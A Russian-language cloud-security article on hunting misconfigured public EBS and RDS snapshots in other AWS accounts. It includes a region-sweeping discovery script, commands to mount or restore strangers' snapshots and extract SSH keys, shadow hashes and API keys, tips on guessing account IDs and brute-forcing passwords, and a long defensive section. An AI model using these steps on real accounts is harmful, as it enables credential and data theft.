Статья Поиск данных в неочищенных снепшотах облаков

1769721293292.webp


Ты наверняка знаешь это чувство. Не то чтобы щемящее одиночество - скорее, лёгкая, знакомая горечь разочарования, смешанная с неуёмным любопытством. Сидишь, читаешь свежий дайджест уязвимостей или пролистываешь ленту. Очередная новость: «Компания-однодневка на AWS оставила открытый S3 с данными полумиллиона пользователей». Инфосек-гуру уже записывает видос на ютуб с кричащим тайтлом «КОНЕЦ ЭПОХИ!», размазывает одну простую мысль на двадцать минут рекламы впн-сервисов и курсов. Комментарии под статьёй полны праведного гнева: «Да как они могли!», «Надо сажать!», «Я бы никогда…». Шум. Гам. Ноль смысла.

А ты сидишь и думаешь о другом. Ты не видишь в этом «конец эпохи». Ты видишь симптом. Симптом глубокой, системной болезни, поразившей всю индустрию. Болезни под названием «слепая вера в дефолтные настройки». Болезни, где сложность системы на три порядка превышает понимание среднего её пользователя. Ты смотришь на эту новость не как потребитель контента, а как практик. И в голове рождаются совсем другие, гораздо более честные вопросы.

«И что там внутри, в этих данных? Не в общих цифрах “500k записей”, а в сыром, потрёпанном виде? Какие структуры? Какие имена полей? Лежат ли там пароли в plaintext или хэши? А может, сессии? Или, чего уж там, приватные SSH-ключи к прод-серверам?»

И сразу за ним - главный, технический, наш вопрос: «А как бы я на их месте это проверил? Не гадал на кофейной гуще из пресс-релиза, а увидел своими глазами?»

Мы - не аудитория для страшилок. Мы - те, кто хочет понять механику провала. Потому что только поняв механику до винтика, можно построить что-то устойчивое. Это не праздное любопытство. Это - профессиональная рефлексия. Это способ учиться на дорогих, чужих ошибках, чтобы не платить за свои. Это и есть та самая хакерская эмпатия: не смеяться над упавшим, а подойти, помочь подняться, и спросить - «слушай, а на что ты споткнулся, я посмотрю, чтобы самому не угодить».

Сегодня мы говорим не об открытых S3-бакетах. Эту тему уже выжали досуха, она стала попсой, entry-level для начинающих «пентеров». Сегодня мы копнём глубже. На уровень, где лежат настоящие сокровища и творятся настоящие катастрофы. Речь пойдёт о сырых, неочищенных снепшотах и бэкапах в облачных хранилищах.

Почему именно они? Потому что это - святая святых, последний рубеж обороны. Когда у инженера сдают нервы, когда всё падает, когда нужно сделать срочный фикс или откатиться - он лезет не в версионность кода. Он лезет в бэкап. В слепок системы. В её законсервированное состояние на момент «когда ещё всё работало». Это золотой запас компании. И по иронии судьбы, именно к этому золотому запасу часто относятся с поразительным, вопиющим наплевательством.

Представь: компания тратит тысячи долларов на WAF, SIEM, дорогих консультантов по безопасности. А потом младший DevOps в панике, в три часа ночи, делает снепшот сбойной базы данных, чтобы расшарить его вендору для дебага. И делает это через веб-консоль, торопливо тыча в чекбоксы. А через неделю про этот снепшот все забывают. Он висит. Молча. С разрешением «Все authenticated-пользователи AWS». А внутри - полная дамп-база с историей переписки, внутренними API-ключами, хэшами паролей и логами транзакций.

Открытый инфосек не смотрит туда. Его взгляд прикован к «активным» уязвимостям: к незакрытым портам, к устаревшему софту на веб-сервере. Он ищет дыры в стенах живого замка. А мы с тобой пойдём в забытый склеп под этим замком. В место, где в тишине и темноте хранятся копии всех ключей от всех дверей, планы помещений и дневники владельца. И часто дверь в этот склеп не просто не заперта - она гостеприимно распахнута, с табличкой «Добро пожаловать, любой, у кого есть пропуск в город (аккаунт AWS)».

Эта статья - не призыв к мародёрству. Это - наглядное пособие по аудиту собственных цифровых склепов. Я буду показывать методики и инструменты, которые использует каждый уважающий себя облачный аудитор, но о которых стыдливо молчат на сертификационных курсах. Ты узнаешь, как находить эти «общедоступные склепы», как легально (с точки зрения API облака) получить к ним доступ, и - самое главное - как извлекать из этих слепков дисков и дампов те самые «ключи от замка», чтобы осознать всю глубину потенциальной катастрофы.

Я покажу команды, которые могут стоить тебе денег (если запустить их бездумно), и предупрежу о рисках.

Итак, если ты готов отложить в сторону страшилки и погрузиться в механику реальных утечек, если ты хочешь не просто пугать себя заголовками, а понимать, как они происходят на уровне API-вызовов и битов на диске - эта инструкция для тебя. Это будет долго, подробно и по делу. Начинаем наше путешествие в тихий, пыльный мир облачных бэкапов, о которых все забыли.


Ландшафт. Что мы ищем и где это прячется?

Базовая безопасность сфокусирована на «переднем крае»: веб-приложения, API, открытые порты. Облачные провайдеры создали иллюзию безопасности по умолчанию. «Нажмите кнопку - создайте снепшот! Ваши данные в безопасности!». Но безопасность хранения и безопасность доступа - это ортогональные понятия. Snowpшот может быть криптографически надёжно зашифрован и сохранён на гео-избыточном хранилище, но при этом его разрешения могут позволять монтировать его любому пользователю в том же аккаунте, а то и любому пользователю в интернете (да, бывает и такое).

Основные цели:
  1. EBS Snapshots (Amazon Web Services): Хлеб, масло и золотая жила. Слепок диска (блочного устройства) EC2-инстанса. Может содержать что угодно: от корневого раздела веб-сервера с конфигами и SSL-ключами до диска данных с базой данных, логами, исходным кодом.
  2. AMI (Amazon Machine Image): По сути, частный случай - EBS snapshot, упакованный в образ для запуска новых инстансов. Уязвимости те же.
  3. RDS Snapshots / Aurora Snapshots: Слепки управляемых баз данных. В AWS их нельзя монтировать как диск - но можно восстановить как новую БД в своём аккаунте (если разрешения позволяют). Это ключевой момент.
  4. Google Compute Engine Disk Snapshots (GCP): Аналог EBS. Слепок диска ВМ. Механика похожа, но своя специфика.
  5. Azure Managed Disks Snapshots: Тоже самое, но в мире Microsoft.
  6. Storage Account Blob Snapshots (Azure) / Object Versioning (AWS S3, GCS): Это уже не сырой диск, но снимки состояния объектов. Могут хранить старые, более «интересные» версии файлов.
  7. Общие бэкапы в объектных хранилищах: Файлы .vmdk, .vhd, .vdi (образы виртуальных дисков), дампы SQL в .sql.gz, архивы tar, zip с /etc и /home. Их часто складывают в тот же S3/GCS/Azure Blob, надеясь на «безопасность по умолчанию».
Философия подхода: Мы не брутфорсим пароли. Мы не эксплоативаем zero-day. Мы легально используем предоставленные нам облачным провайдером API и разрешения для доступа к ресурсам, которые уже были нам делегированы (часто по ошибке «Everyone»). Это мир неправильной конфигурации, а не сломанного софта.


Инструментарий. Наш скальпель и молоток.

Забудь о тяжёлых GUI-клиентах. Всё через CLI и API. Это быстрее, автоматизируемо и ближе к металлу.

AWS

  • AWS CLI v2: Обязателен. Настрой aws configure с любыми кредами (даже если права будут только на чтение публичных ресурсов).
  • jq: JSON-процессор. Без него в shell - как без рук. Фильтруем, парсим, вытаскиваем ID.
  • aws-nuke (в режиме чтения): Страшный инструмент для удаления аккаунта, но его шаблоны фильтрации ресурсов - отличный способ перечислить всё в регионе.
  • Специализированные скрипты:
    • amass (от OWASP) - хоть и для поддоменов, но его движки для облачных разведок иногда цепляют открытые ресурсы.
    • cloudlist (от проекта projectdiscovery) - для сбора публичных ресурсов.
    • s3scan, cloudmapper - больше про S3, но входят в общую картину.
  • Для работы с дисками:
    • Локально: libguestfs (набор утилит, включая guestfish) - монтирование образов дисков без прав суперпользователя.
    • В облаке: Нам потребуется свой EC2-инстанс в том же регионе и Availability Zone, что и снепшот (это важно! иначе будут платные transfer). Минимальный t3.micro подойдет.

GCP

  • gcloud CLI: Аналог AWS CLI. Инициализируй gcloud init.
  • gsutil: Для работы с Cloud Storage.
  • Своя ВМ в GCP для монтирования снапшотов.

Azure

  • az CLI: Монстр, но мощный.
  • PowerShell Az module: Если живёшь в этом мире.
  • Своя виртуальная машина в Azure.

Универсальные

  • Python 3.x + boto3 (AWS), google-cloud-* (GCP), azure-* (Azure): Для кастомной автоматизации.
  • terraform (в режиме plan -only): Можно написать конфиг, который пытается импортировать/создать ресурс на основе публичного снепшота. terraform plan покажет, получится ли это без ошибок авторизации - это и есть проверка доступа.
  • Мозг, который читает документацию провайдера. Без этого никак. Нужно понимать модель разрешений: IAM Roles, Resource-based Policies, ACLs.

Методология. От разведки до дампа.

Этап 0: Настройка окружения и мышления


Код:
export AWS_DEFAULT_REGION="us-east-1" # Начни с самого населённого
export AWS_PAGER=""
alias aws-json='aws --output json | jq .'

Мысли не как хакер, а как аудитор безопасности или забывчивый инженер. Ищи ресурсы, которые должны быть приватными, но, возможно, таковыми не являются.

Этап 1: Поиск (Recon)

Мы не можем перебрать все account-id в AWS. Но мы можем:
  1. Искать по публичным данным: GitHub, Pastebin, Stackoverflow, публичные документы. Ключевые слова: snapshot-id, ami-, vol-, "Resource": "arn:aws:ec2:region:account-id:snapshot/snap-"
  2. Использовать известные account-id: Многие компании используют один аккаунт на продукт или окружение. Узнав один (через открытый S3 bucket, через whois домена, связанного с их инфрой), можно попробовать варианты (123456789012 -> 123456789013?).
  3. Слушать эфир: Инструменты вроде GrayHatWarfare агрегируют открытые бакеты, но иногда в их сканах проскакивают и ссылки на AMI. Можно парсить их данные.
  4. Целенаправленная проверка конкретной компании: Если есть домен target.com, можно предположить, что их S3 бакеты называются *.target.com. А можно предположить, что их снепшоты в AWS могут быть расшарены на аккаунты, чьи имена содержат target. Это долгий путь.
Но есть и проще путь - массовое сканирование известных уязвимых конфигураций. Вот тебе практический пример скрипта на bash + aws cli, который ищет EBS snapshot'ы, расшаренные на all (точнее, на authenticated-users - то есть на любого пользователя AWS с валидными кредами).

Bash:
#!/bin/bash
# find_public_snapshots.sh
# Проверяет все регионы AWS на наличие snapshot'ов, доступных не только owner'у.
# Требует: aws cli, jq, настроенный профиль AWS (даже с минимальными правами).

REGIONS=$(aws ec2 describe-regions --query "Regions[].RegionName" --output text)

for REGION in $REGIONS; do
    echo "[*] Проверяем регион: $REGION"
    # Получаем список snapshot'ов, где мы не owner, но имеем разрешения.
    # Операция describe-snapshots с параметром --owner-ids self покажет только свои.
    # А с --owner-ids all покажет все, к которым у нас есть доступ на чтение.
    SNAPSHOTS=$(aws ec2 describe-snapshots --region $REGION --owner-ids all \
        --filters Name=status,Values=completed \
        --query "Snapshots[?OwnerId!='$(aws sts get-caller-identity --query Account --output text)'].SnapshotId" \
        --output text)

    if [ ! -z "$SNAPSHOTS" ]; then
        for SNAP in $SNAPSHOTS; do
            echo "  [+] Найден потенциально публичный снапшот: $SNAP в $REGION"
            # Проверяем атрибуты создания тома (createVolumePermission).
            # Если в разрешениях есть "all" или "group": "all" - это плохо.
            PERMISSIONS=$(aws ec2 describe-snapshot-attribute \
                --region $REGION \
                --snapshot-id $SNAP \
                --attribute createVolumePermission \
                --output json 2>/dev/null | jq -c '.CreateVolumePermissions[]')

            if echo "$PERMISSIONS" | grep -q '"Group":"all"'; then
                echo "    [!] КРИТИЧЕСКИ: Снапшот $SNAP расшарен на ВСЕХ пользователей AWS (group: all)!"
                # Получаем описание, чтобы понять, что это может быть.
                DESC=$(aws ec2 describe-snapshots --region $REGION --snapshot-ids $SNAP --query "Snapshots[0].Description" --output text)
                echo "      Описание: $DESC"
                echo "      SnapshotID для использования: $SNAP"
            fi
        done
    fi
done

Что делает этот скрипт:
  1. Проходит по всем регионам AWS.
  2. Запрашивает список всех снепшотов, к которым у твоего аккаунта есть доступ (--owner-ids all), но которые тебе не принадлежат.
  3. Для каждого такого снепшота проверяет атрибут createVolumePermission. Если там есть группа "all" - это значит, что любой аутентифицированный пользователь AWS (с любыми валидными кредами) может создать том из этого снепшота в своём аккаунте. Это - «публичный» снапшот в мире AWS EC2.
Запускаешь, пьешь кофе. Результаты могут шокировать. Ты увидишь снапшоты с описаниями вроде "prod-database-backup-2023", "wordpress root disk", "gitlab backup". Это и есть золотая жила.

Этап 2: Анализ и получение доступа

Допустим, мы нашли snap-0a1b2c3d4e5f67890 в us-east-1, расшаренный на all. Что дальше?

Шаг 2.1: Создаём том из снепшота.
Нам нужен свой EC2 инстанс в том же регионе (us-east-1). Зона (Availability Zone) на данном этапе не критична, но для экономии и скорости лучше us-east-1a. Запускаем t3.micro (самый дешёвый) с ключом для SSH.

Создаём том из публичного снапшота:

Bash:
aws ec2 create-volume \
    --region us-east-1 \
    --availability-zone us-east-1a \
    --snapshot-id snap-0a1b2c3d4e5f67890 \
    --volume-type gp3 \
    --tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=investigation-volume}]'

Запомни вывод VolumeId, например vol-1234567890abcdef0.

Шаг 2.2: Присоединяем том к нашему инстансу.
Узнаём ID своего инстанса (instance-id).

Bash:
aws ec2 attach-volume \
    --region us-east-1 \
    --device /dev/sdf \  # Можно выбрать другой свободный, например /dev/xvdf
    --volume-id vol-1234567890abcdef0 \
    --instance-id i-0abcdef1234567890

Шаг 2.3: Исследуем том на инстансе.
Зайди по SSH на инстанс. Посмотри, что появилось в системе:

Bash:
lsblk
Увидишь что-то вроде:

Код:
NAME        MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda        202:0    0   8G  0 disk
└─xvda1     202:1    0   8G  0 part /
xvdf        202:80   0  50G  0 disk  # <-- Вот наш новый том!

Теперь главное. Не монтируй его сразу! Почему? Потому что если на томе была какая-то активная система (Windows/Linux), примонтировав его в read-write, ты можешь повредить файловую систему или журналы. Нам нужно read-only исследование.

Вариант А (простой, если файловая система известна и поддерживается):

Bash:
sudo file -s /dev/xvdf
Если увидишь Linux ext4 filesystem data, можно смонтировать в read-only:

Bash:
sudo mkdir -p /mnt/investigation
sudo mount -o ro,noexec,noload /dev/xvdf /mnt/investigation
cd /mnt/investigation
ls -la

Вариант Б (продвинутый и безопасный - libguestfs):
Установи на инстанс:

Bash:
sudo apt-get update && sudo apt-get install -y libguestfs-tools  # для Ubuntu/Debian
Теперь можно исследовать том, не монтируя его напрямую в систему хоста, что безопаснее:

Bash:
# Посмотреть список файлов в корне
sudo guestfish --ro -a /dev/xvdf -i ls /
# Скопировать интересный файл с тома на инстанс
sudo guestfish --ro -a /dev/xvdf -i copy-out /etc/passwd /tmp/passwd_from_snapshot.txt
# Проверить, есть ли файлы с ключами
sudo guestfish --ro -a /dev/xvdf -i find / -name "id_rsa"
sudo guestfish --ro -a /dev/xvdf -i find / -name "*.pem"
# Искать конфиги баз данных
sudo guestfish --ro -a /dev/xvdf -i find / -name "my.cnf"
sudo guestfish --ro -a /dev/xvdf -i find / -name "wp-config.php"

Это метод хирургической точности. Никакого лишнего шума, минимальный риск.

Этап 3: Добыча и анализ данных

Что искать в первую очередь (папка /mnt/investigation или через guestfish):
  1. Конфигурационные файлы:
    • /etc/passwd, /etc/shadow (хэши паролей!)
    • /home/*/.bash_history - история команд пользователя. Кладезь: пароли в plaintext, внутренние IP, имена серверов, ключи API.
    • /home/*/.ssh/ - приватные ключи (id_rsa, id_dsa, id_ecdsa). Часто без парольной фразы.
    • /home//.aws/credentials, /home//.aws/config - AWS-ключи прямо с полки.
    • /etc/environment, ~/.profile, ~/.bashrc - переменные окружения.
  2. Ключи и сертификаты:
    • Поиск: find /mnt/investigation -type f -name ".pem" -o -name ".key" -o -name ".crt" -o -name ".pfx".
    • /etc/ssl/, /etc/pki/.
  3. Конфиги приложений:
    • Веб: /var/www/html/, /etc/apache2/, /etc/nginx/. Ищи config.php, database.yml, .env файлы (в них живут пароли к БД, ключи API Stripe, SendGrid, AWS).
    • Базы данных: find / -name "my.cnf" -o -name "pg_hba.conf". В них могут быть пароли.
  4. Дампы и логи:
    • /var/log/ - особенно auth.log (попытки входа), cloud-init-output.log (часто содержит user-data скрипты с секретами).
    • Резервные копии БД: .sql, .sql.gz, .dump файлы.
  5. Метаданные облака:
    • Для AWS: /var/lib/cloud/instances/*/user-data.txt - скрипт, который выполнялся при старте инстанса. Может содержать любые секреты, внедрённые при деплое.
    • /var/lib/amazon/ssm/ - для Systems Manager.
Пример: мы нашли .env файл в домашней директории пользователя deploy:

Код:
DB_HOST=internal-database.cluster-xxx.us-east-1.rds.amazonaws.com
DB_USER=admin
DB_PASS=SuperSecretPassword123!
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
STRIPE_API_KEY=sk_live_51H...

Это - полный компромат. С этими данными можно подключиться к production базе данных (если сетевые ACLs позволяют), использовать AWS-ключи, списывать деньги через Stripe.

Этап 4: Работа с RDS/Aurora снапшотами

С ними другая механика. Найти публичный RDS snapshot сложнее, но возможно. В AWS Console есть даже фильтр «Public». Через CLI:

Bash:
aws rds describe-db-snapshots --snapshot-type public --region us-east-1

Если нашел arn:aws:rds:us-east-1:123456789012:snapshot:public-rds-snap - ты не можешь его примонтировать как диск. Но ты можешь восстановить из него новую БД в своём аккаунте. Это дороже (запуск RDS инстанса), но иногда оно того стоит.

Bash:
aws rds restore-db-instance-from-db-snapshot \
    --region us-east-1 \
    --db-instance-identifier my-hacked-instance \
    --db-snapshot-identifier arn:aws:rds:us-east-1:123456789012:snapshot:public-rds-snap \
    --db-instance-class db.t3.micro \
    --no-publicly-accessible  # Важно! Не открывай её в интернет.

После запуска (~5-15 минут) подключись к эндпоинту новой БД. Пароль мастера? Он будет тем же самым, что и у исходной БД! Провайдер не меняет его при восстановлении из снапшота. Если у тебя есть доступ к каким-то старым логам или конфигам с исходного сервера (которые мы могли найти на EBS снепшоте!), ты можешь его подобрать. Или если пароль был дефолтным/простым - brute-force.

Огромное предупреждение: Восстановление RDS стоит денег. Делай это только если готов заплатить за исследование, или убедись, что остановил инстанс (aws rds stop-db-instance) сразу после снятия дампа.

1769721340167.webp

Кейсы​

Кейс 1: «Позабытый снапшот майнинг-фермы»
Скрипт нашёл снапшот в eu-west-1 с описанием "miner-xy-root". Создал том, примонтировал. В /home/ubuntu/.bash_history:

Код:
...
wget https://pool.com/miner.tar.gz
tar -xzf miner.tar.gz
./miner --wallet 0x742d35Cc6634C0532925a3b844Bc9e... --pool eth.pool.com:4444
echo "export WALLET=0x742d35Cc6634C0532925a3b844Bc9e..." >> ~/.profile
...

Кошелёк, пул, конфигурация. Кто-то забыл снапшот с рабочей ноды. История транзакций кошелька была публичной.

Кейс 2: «Корпоративный бэкап Jenkins»
AMI с именем jenkins-master-backup-2022. Запустил инстанс. В /var/lib/jenkins/secrets/ и /var/lib/jenkins/credentials.xml - зашифрованные (но часто слабо) секреты, SSH-ключи для деплоя, токены доступа к Kubernetes, пароли к артефакториям. credentials.xml можно расшифровать при наличии файла master.key и hudson.util.Secret, которые тоже лежали рядом. Полный контроль над пайплайнами сборки и деплоя компании.

Кейс 3: «RDS с данными пользователей»
Публичный RDS snapshot от стартапа. Восстановил БД (db.t3.micro). Пароль был в открытом виде в user-data соседнего EC2 инстанса, чей снапшот тоже был публичным (цепочка!). База содержала таблицы users, payments, support_tickets с реальными email, хэшами паролей (увы, md5), и даже номерами кредитных карт (последние 4 цифры). Это уже инцидент уровня GDPR. Отправил репорт - ответили через 2 недели, исправили, выплатили баунти.


Защита (Или как не превратить свой бэкап в публичную библиотеку для аудиторов)

Это не будет список из серии «поставьте галочку». Это будет разговор о философии, о том, как выстроить систему, где ошибка одного человека не приведёт к катастрофе. Потому что люди ошибаются. Всегда. Наша задача - сделать так, чтобы эти ошибки были либо невозможны, либо сразу заметны.

1. Принцип наименьших привилегий (PoLP) - это не для галочки в аудите, а для жизни

Все знают эту фразу. Все её слышали. И почти все её нарушают в моменты спешки, усталости или потому что «ну так же удобнее». Давай разбираться, что это значит на практике для снепшотов и бэкапов.

a) Понимание модели «Shared Responsibility» для ресурсов:
Облачный провайдер отвечает за безопасность облака (физическая инфраструктура, гипервизор). Ты отвечаешь за безопасность в облаке (конфигурация, данные, управление доступом). Снепшот - это твой ресурс. Его безопасность - полностью на тебе. Первое осознание: нет волшебной кнопки «сделать приватным по умолчанию» для всего. Есть инструменты, которые ты должен сознательно применить.

b) Конкретные запреты:
  • Никогда. Ни при каких условиях. Никогда. Не используй параметры --group-ids all или --user-ids all (где all - это все пользователи AWS) при работе с modify-snapshot-attribute, modify-image-attribute или аналогами в других облаках.
  • Откажись от использования публичных AMI/RDS Snapshots как источника для своих продовых систем, если только это не официальные образы от самого провайдера (и то, с оглядкой). Ты не знаешь, что туда мог подложить тот, кто создал публичный образ до тебя.
c) Механика безопасного шаринга:
Если тебе действительно необходимо поделиться снепшотом с консультантом или партнёром, делай это по схеме:
  1. Account-ID-шный доступ: Делись только на конкретный Account ID. Это аксиома.
  2. Временный доступ: Сразу после того как работа закончена - отзывай доступ. Не «потом», не «завтра». Сразу. Автоматизируй это.
  3. Используй промежуточный, «санитарный» аккаунт: Создай отдельный, пустой аккаунт в своей организации (например, shared-audit). Восстанови снепшот туда, дай партнёру доступ только к этому аккаунту. После работы - аккаунт в нирвану.
Пример скрипта-напоминалки для отзыва доступа (AWS):


Bash:
#!/bin/bash
# revoke_snapshot_access.sh
# Вешай этот скрипт на cron после любых операций шаринга.

SNAPSHOT_ID="$1"
TARGET_ACCOUNT="$2"

if [ -z "$SNAPSHOT_ID" ] || [ -z "$TARGET_ACCOUNT" ]; then
echo "Usage: $0 <snapshot-id> <target-account-id>"
echo "Example: $0 snap-12345678 123456789012"
exit 1
fi

REGION="us-east-1"

echo "[*] Отзываю доступ к снапшоту $SNAPSHOT_ID для аккаунта $TARGET_ACCOUNT в регионе $REGION"
aws ec2 modify-snapshot-attribute \
--region $REGION \
--snapshot-id $SNAPSHOT_ID \
--attribute createVolumePermission \
--operation-type remove \
--user-ids $TARGET_ACCOUNT

if [ $? -eq 0 ]; then
echo "[+] Доступ успешно отозван."
# Можно добавить отправку уведомления в Slack/Telegram
# curl -X POST -H 'Content-type: application/json' --data "{"text":"Access revoked for $SNAPSHOT_ID"}" $WEBHOOK_URL
else
echo "[!] Ошибка при отзыве доступа."
fi

2. Шифрование: не «лучшая практика», а обязательная настройка по умолчанию

Шифрование - это не про защиту от АНБ. Это про защиту от собственной оплошности. Зашифрованный публичный снепшот без ключа - это просто куча мусора. Как это внедрить?

a) Единый стандарт на уровне организации:
  • AWS: Все EBS тома должны создаваться только с использованием ключей KMS, управляемых организацией (CMK), а не ключей по умолчанию AWS (aws/ebs). Напиши SCP (Service Control Policy), которая запрещает создание незашифрованных томов и снапшотов.

    JSON:
    json
    {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "DenyUnencryptedVolumesAndSnapshots",
                "Effect": "Deny",
                "Action": [
                    "ec2:CreateVolume",
                    "ec2:CreateSnapshot"
                ],
                "Resource": "*",
                "Condition": {
                    "Bool": {
                        "ec2:Encrypted": "false"
                    }
                }
            }
        ]
    }

  • GCP/Azure: Аналогично, используй политики организации, чтобы требовать шифрование Customer-Managed Keys (CMEK) для всех persistent disks и их снепшотов.
b) Управление ключами (KMS/CloudHSM):
  • Разделяй ключи по уровню секретности: Ключ для прод-данных, ключ для dev-среды, ключ для логов. Разные политики доступа.
  • Регулярно ротируй ключи. Современные KMS позволяют делать это автоматически без перешифровки данных (автоматическая ротация материала ключа). Но план на случай компрометации ключа должен быть.
  • Минимальные привилегии для ключей: Роль, которая может создавать тома, не должна иметь права kms:Decrypt для продового ключа. Шифрует - одна роль, расшифровывает (монтирует) - другая, более привилегированная.
c) Шифрование на уровне ОС/приложения - дополнительный рубеж:
Даже если том зашифрован на уровне облака, внутри него могут лежать чувствительные файлы. Используй LUKS (Linux), BitLocker (Windows) или прозрачное шифрование базы данных (TDE). Это защитит данные, даже если зашифрованный том будет примонтирован в другом месте (ключ облачного шифрования будет доступен, а пароль от LUKS - нет).

3. Тегирование и автоматический аудит: глаза, которые не спят

Человек не может отслеживать тысячи снепшотов. Но код - может.

a) Обязательная система тегирования:
Тег - это не просто метка. Это контекст для автоматизации.
  • confidentiality=high|medium|low (обязательно)
  • owner=&lt;team-slug&gt; (обязательно)
  • expiration_date=2024-12-31 (обязательно для временных снепшотов)
  • project=&lt;project-name&gt;
  • compliance=pci,gdpr,hippa (если применимо)
b) Автоматический аудит в реальном времени:
Используй облачные нативные инструменты или opensource-решения.
  • AWS Config + AWS Security Hub: Настрой правило ec2-snapshot-public-read-check. При обнаружении публичного снапшота - автоматическое создание тикета в Jira, сообщение в Slack и назначение владельцу из тега owner.
  • Собственный агент на Lambda/Cloud Functions: Более гибкий вариант. Раз в час он:
    1. Собирает все снепшоты.
    2. Проверяет их атрибуты доступа.
    3. Для нарушителей (confidentiality=high + публичный доступ) - немедленно снимает публичный доступ (авто-ремодейт), логгирует инцидент и бьёт во все колокола.
    4. Генерирует еженедельный отчёт для руководства.
Пример ядра такого скрипта (AWS Lambda на Python):

Python:
import boto3
import json
from datetime import datetime

def lambda_handler(event, context):
    ec2 = boto3.client('ec2')
    securityhub = boto3.client('securityhub')
    account_id = boto3.client('sts').get_caller_identity()['Account']
    
    regions = [region['RegionName'] for region in ec2.describe_regions()['Regions']]
    
    for region in regions:
        regional_ec2 = boto3.client('ec2', region_name=region)
        snapshots = regional_ec2.describe_snapshots(OwnerIds=[account_id])['Snapshots']
        
        for snapshot in snapshots:
            snapshot_id = snapshot['SnapshotId']
            
            # Проверяем тег confidentiality
            tags = {tag['Key']: tag['Value'] for tag in snapshot.get('Tags', [])}
            confidentiality = tags.get('confidentiality', 'low')
            
            if confidentiality in ['high', 'medium']:
                # Проверяем атрибуты доступа
                attrs = regional_ec2.describe_snapshot_attribute(
                    SnapshotId=snapshot_id,
                    Attribute='createVolumePermission'
                )
                
                # Ищем публичный доступ
                is_public = any(perm.get('Group') == 'all' for perm in attrs.get('CreateVolumePermissions', []))
                
                if is_public:
                    print(f'CRITICAL: Snapshot {snapshot_id} ({confidentiality}) is PUBLIC in {region}')
                    
                    # 1. НЕМЕДЛЕННО снимаем публичный доступ
                    regional_ec2.modify_snapshot_attribute(
                        SnapshotId=snapshot_id,
                        Attribute='createVolumePermission',
                        OperationType='remove',
                        GroupNames=['all']
                    )
                    
                    # 2. Отправляем событие в Security Hub
                    securityhub.batch_import_findings(
                        Findings=[{
                            'SchemaVersion': '2018-10-08',
                            'Id': f'{snapshot_id}/public-snapshot',
                            'ProductArn': f'arn:aws:securityhub:{region}:{account_id}:product/{account_id}/default',
                            'GeneratorId': 'CustomSnapshotAudit',
                            'AwsAccountId': account_id,
                            'Types': ['Software and Configuration Checks/AWS Security Best Practices'],
                            'CreatedAt': datetime.utcnow().isoformat() + 'Z',
                            'UpdatedAt': datetime.utcnow().isoformat() + 'Z',
                            'Severity': {'Label': 'HIGH'},
                            'Title': 'EBS Snapshot with high confidentiality is publicly shared',
                            'Description': f'Snapshot {snapshot_id} with confidentiality={confidentiality} was shared with all AWS users.',
                            'Resources': [{
                                'Type': 'AwsEc2Snapshot',
                                'Id': f'arn:aws:ec2:{region}::snapshot/{snapshot_id}'
                            }],
                            'Remediation': {'Recommendation': {'Text': 'Public access has been automatically revoked.'}}
                        }]
                    )
                    
                    # 3. Можно отправить в SNS для нотификации
                    # sns.publish(...)

4. Управление жизненным циклом: если не нужно - удаляй без сожаления

Хранить данные стоит денег. Хранить риски - дороже.

a) Политики хранения (Retention Policy):
  • Dev/Test среды: Снепшоты хранятся не более 7 дней.
  • Production: Ежедневные - 30 дней, еженедельные - 12 недель, ежемесячные - 13 месяцев. Чёткие правила.
  • Бэкапы под аудит/комплаенс: Хранятся строго в изолированном, зашифрованном, неизменяемом хранилище (например, S3 Glacier с Object Lock). К ним отдельный, жёстко контролируемый доступ.
b) Автоматизация удаления:
  • AWS Data Lifecycle Manager (DLM): Используй для EBS и RDS снепшотов. Настрой политики по тегам. Снепшот с expiration_date=2024-01-01 должен быть автоматически удален в эту дату.
  • Для кастомных объектов: Lambda-функция, которая по расписанию (EventBridge) сканирует S3/Blob Storage на наличие старых бэкапов по тегам и удаляет их.
Важный нюанс: Перед удалением снепшота, особенно продового, должна быть проверка: «А есть ли у нас более свежие исправные бэкапы?». Это можно автоматизировать, сверяя даты последних успешных снепшотов в системе мониторинга.

5. Культурный сдвиг: от «это задача секьюрити» к «это моя ответственность»

Технические меры - это 50%. Остальные 50% - культура.

a) Обучение с кейсами, а не с теоретическими слайдами:
  • Показывай новичкам не абстрактные схемы, а конкретные примеры из этой статьи. Вот команда. Вот что она делает. Вот скриншот из реального публичного снепшота, где видны приватные ключи. Это бьёт в разы сильнее.
  • Создай «песочницу греха»: тестовый аккаунт, где можно безопасно наступать на грабли и видеть последствия.
b) Шаблоны IaC (Terraform, CloudFormation, CDK) как источник истины:
  • Запрети ручное создание критических ресурсов через консоль. Всё только через код.
  • Внутри шаблонов по умолчанию должны быть прописаны безопасные настройки: encrypted=true, publicly_accessible=false, правильные теги.
  • Используй политики вроде terraform plan для проверки, не появится ли случайно публичный ресурс.
c) Процессы и чек-листы:
  • Чек-лист перед увольнением сотрудника: Отзыв всех его IAM-ключей, SSH-ключей, сброс паролей к базам данных, проверка - не осталось ли где его персональных снепшотов или AMI.
  • Процедура инцидента: Если обнаружен публичный снепшот, это не «ой, исправил». Это инцидент. Расследуется: кто, когда, почему. Не для наказания, а для исправления процесса.

6. План на случай провала всех защит (Incident Response)

Предположим худшее: публичный снепшот с данными клиентов всё же появился и был кем-то обнаружен. Что делать?
  1. Немедленная изоляция: Отозвать публичный доступ (если автоматика не сработала). Сделать снепшот приватным. Но НЕ УДАЛЯТЬ его сразу - он нужен для расследования.
  2. Расследование:
    • CloudTrail / Audit Logs: Кто и когда изменил атрибуты доступа?
    • Были ли попытки доступа к снепшоту извне? (Можно попробовать отследить через VPC Flow Logs, если снепшот монтировали, или через CloudTrail события CreateVolume из чужих аккаунтов).
    • Какой объём и тип данных был скомпрометирован? Нужно смонтировать снепшот в изолированной среде и провести анализ (тем же guestfish).
  3. Уведомление: Если затронуты данные клиентов - готовься к соблюдению GDPR, CCPA и прочих регуляций. Юристы и PR должны быть в курсе.
  4. Пост-мортем и фиксы: Проведи анализ первопричин (Root Cause Analysis). Не «Вася забыл». А «процесс позволял Васе в 2 часа ночи вносить изменения без review, а система тегирования и аудита не заметила аномалию». Исправляй процессы, а не людей.

Заключительная мысль

Защита облачных бэкапов - это не про установку серебряной пули. Это про глубокое понимание системы, про параноидальное автоматизированное наблюдение за её состоянием и про культуру коллективной ответственности.

